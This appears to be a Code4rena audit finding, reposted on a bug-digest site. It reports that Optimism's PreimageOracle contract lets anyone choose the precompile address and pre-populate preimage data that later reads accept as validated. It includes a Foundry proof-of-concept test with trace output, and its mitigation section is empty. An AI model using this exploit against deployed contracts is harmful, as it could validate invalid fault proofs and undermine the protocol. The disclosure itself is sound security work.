Light ModeLight
Light ModeDark

One Bug Per Day

One H/M every day from top Wardens

Checkmark

Join over 1000 wardens!

Checkmark

Receive the email at any hour!

Ad

Addresses can be pre-populated with bad data

mediumCode4rena

Lines of code

https://github.com/code-423n4/2024-07-optimism/blob/70556044e5e080930f686c4e5acde420104bb2c4/packages/contracts-bedrock/src/cannon/PreimageOracle.sol#L357

Vulnerability details

Description

Inside PreimageOracle.sol, anyone can call the loadPrecompilePreimagePart() to load data into the contract. The problem is that anyone is able to specify the address _precompile parameter. This opens up the door for malicious users to pre-populate data and use it to validate wrong data.

Proof of Concept

PreimageOracle.readPreimage() is used to read already validated preimage_data, this happens in the MIPS.sol implementation and the mips.go implementation:

mips.go

golang
dat, datLen := m.readPreimage(m.state.PreimageKey, m.state.PreimageOffset)

mips.sol

javascript
(bytes32 dat, uint256 datLen) = ORACLE.readPreimage(preimageKey, state.preimageOffset);

Looking at readPreimage, we can notice this check that happens that ensures the field is set to true:

javascript
function readPreimage(bytes32 _key, uint256 _offset) external view returns (bytes32 dat_, uint256 datLen_) { -> require(preimagePartOk[_key][_offset], "pre-image must exist"); // Calculate the length of the pre-image data // Add 8 for the length-prefix part datLen_ = 32; uint256 length = preimageLengths[_key]; if (_offset + 32 >= length + 8) { datLen_ = length + 8 - _offset; } // Retrieve the pre-image data dat_ = preimageParts[_key][_offset]; }

Now, a malicious user can use the address of the next precompile to be added as a parameter, specify the data he wants to be pass and it well set the flag to true, enabling the ability to read the preimage with invalid data.

Put this test in PreimageOracle.t.sol:

javascript
function test_poc() public { bytes memory input = hex"deadbeef1337"; uint256 offset = 0x00; // Newly added precompile address precompile = address(bytes20(uint160(0x0b))); bytes32 key = precompilePreimageKey(precompile, input); oracle.loadPrecompilePreimagePart(offset, precompile, input); // try reading, it should succeed oracle.readPreimage(key, offset); }

Running it, this is the output:

zsh
Ran 1 test for test/cannon/PreimageOracle.t.sol:PreimageOracle_Test [PASS] test_poc() (gas: 78279) Traces: [78279] PreimageOracle_Test::test_poc() ├─ [70193] PreimageOracle::loadPrecompilePreimagePart(0, 0x000000000000000000000000000000000000000b, 0xdeadbeef1337) │ ├─ [0] 0x000000000000000000000000000000000000000b::deadbeef(1337) [staticcall] │ │ └─ ← [Stop] │ └─ ← [Stop] ├─ [1420] PreimageOracle::readPreimage(0x06305151be4abfdb70c687fa523f7bcbd835866a36eff720ca0ecbfee10c8320, 0) [staticcall] │ └─ ← [Return] 0x0000000000000001010000000000000000000000000000000000000000000000, 9 └─ ← [Stop]

This means that the calls from cannon and mips.sol can all succeed, leading to malicious users crafting data such that they can validate invalid proofs because the storage can be pre-populated and when doing a read on the precompileimage, it will be true and succeed.

Recommended Mitigation Steps

Assessed type

Other